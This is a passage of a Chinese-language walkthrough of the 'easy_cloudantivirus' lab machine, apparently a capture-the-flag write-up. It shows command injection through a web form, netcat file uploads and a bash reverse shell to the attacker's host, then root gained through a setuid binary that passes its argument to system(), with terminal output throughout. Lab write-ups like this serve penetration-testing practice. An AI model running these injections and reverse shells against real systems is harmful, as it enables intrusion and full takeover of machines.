靶机: easy_cloudantivirus( 三 )


  • nc 上传 bash 反弹木马程序
    • 表单提交 a | ls | grep 'xxxxx' | touch a.sh
    • 表单提交 a | ls | grep 'xxxxx' | nc -l -p 4444 -w6 > a.sh
    • 在 kali 执行 nc 192.168.56.109 4444 < 'bash -i >& /dev/tcp/192.168.56.111/23333 0>&1'
    • 在 kali 执行 netcat -lvp 23333 监听端口
    • 表单提交 a | ls | grep 'xxxxx' | bash a.sh 反弹 shell
  • ┌──(kali?kali)-[~/workspace]└─$ netcat -lvp 23333listening on [any] 23333 ...192.168.56.109: inverse host lookup failed: Unknown hostconnect to [192.168.56.111] from (UNKNOWN) [192.168.56.109] 52396bash: cannot set terminal process group (694): Inappropriate ioctl for devicebash: no job control in this shellscanner@cloudav:~/cloudav_app$ lslsapp.pya.shdatabase.sqlget-pip.pyget-pip.py.1get-pip.py.2get-pip.py.3samplestemplatesscanner@cloudav:~/cloudav_app$
    • 成功反弹 shell
    本质上此用户 scanner 的可行动服务就非常高,随便的方法都能攻破【不在进行其他 shell 反弹演示 , 有需求自行查找】
    探索目标我们已经进入目标的内部,我们探索一下目录、文件
    • 我们在用户根目录发现一个有特殊权限的文件 -rwsr-xr-x 1 rootscanner 8.4K Oct 242018 update_cloudav
      scanner@cloudav:~$ ls -alhls -alhtotal 60Kdrwxr-xr-x 6 scanner scanner 4.0K Oct 242018 .drwxr-xr-x 4 rootroot4.0K Oct 212018 ..-rw------- 1 scanner scanner5 Oct 242018 .bash_history-rw-r--r-- 1 scanner scanner220 Oct 212018 .bash_logout-rw-r--r-- 1 scanner scanner 3.7K Oct 212018 .bashrcdrwx------ 2 scanner scanner 4.0K Oct 212018 .cachedrwxrwxr-x 4 scanner scanner 4.0K Oct 23 10:59 cloudav_appdrwx------ 3 scanner scanner 4.0K Oct 212018 .gnupgdrwxrwxr-x 3 scanner scanner 4.0K Oct 212018 .local-rw-r--r-- 1 scanner scanner807 Oct 212018 .profile-rw-rw-r-- 1 scanner scanner66 Oct 212018 .selected_editor-rwsr-xr-x 1 rootscanner 8.4K Oct 242018 update_cloudav-rw-rw-r-- 1 scanner scanner393 Oct 242018 update_cloudav.c
      • 在linux中,-s 指的是强制位权限,具有程序运行时子进程权限继承,s 权限位是一个敏感的权限位,容易造成系统的安全问题
      • 其中还含有源码 update_cloudav.c 我们可以查看源码,发现执行此命令需要一个参数,我们完全可以故技重施
      #include <stdio.h>int main(int argc, char *argv[]){char *freshclam="/usr/bin/freshclam";if (argc < 2){printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");return 1;}char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);sprintf(command, "%s %s", freshclam, argv[1]);setgid(0);setuid(0);system(command);return 0;}
    • 获取 root 权限
      • Kali 设置 netcat -lvp 4444 监听 4444 端口
      • 靶机上 shell 反弹 touch b.sh && echo 'bash -i >& /dev/tcp/192.168.56.111/4444 0>&1' > b.sh && ./update_cloudav "a | ls | grep 'xxxxx' | bash b.sh"
      ┌──(kali?kali)-[~]└─$ netcat -lvp 4444listening on [any] 4444 ...192.168.56.109: inverse host lookup failed: Unknown hostconnect to [192.168.56.111] from (UNKNOWN) [192.168.56.109] 56672bash: cannot set terminal process group (694): Inappropriate ioctl for devicebash: no job control in this shellroot@cloudav:~# ididuid=0(root) gid=0(root) groups=0(root),1001(scanner)
    游戏结束 GAMEOVER

    推荐阅读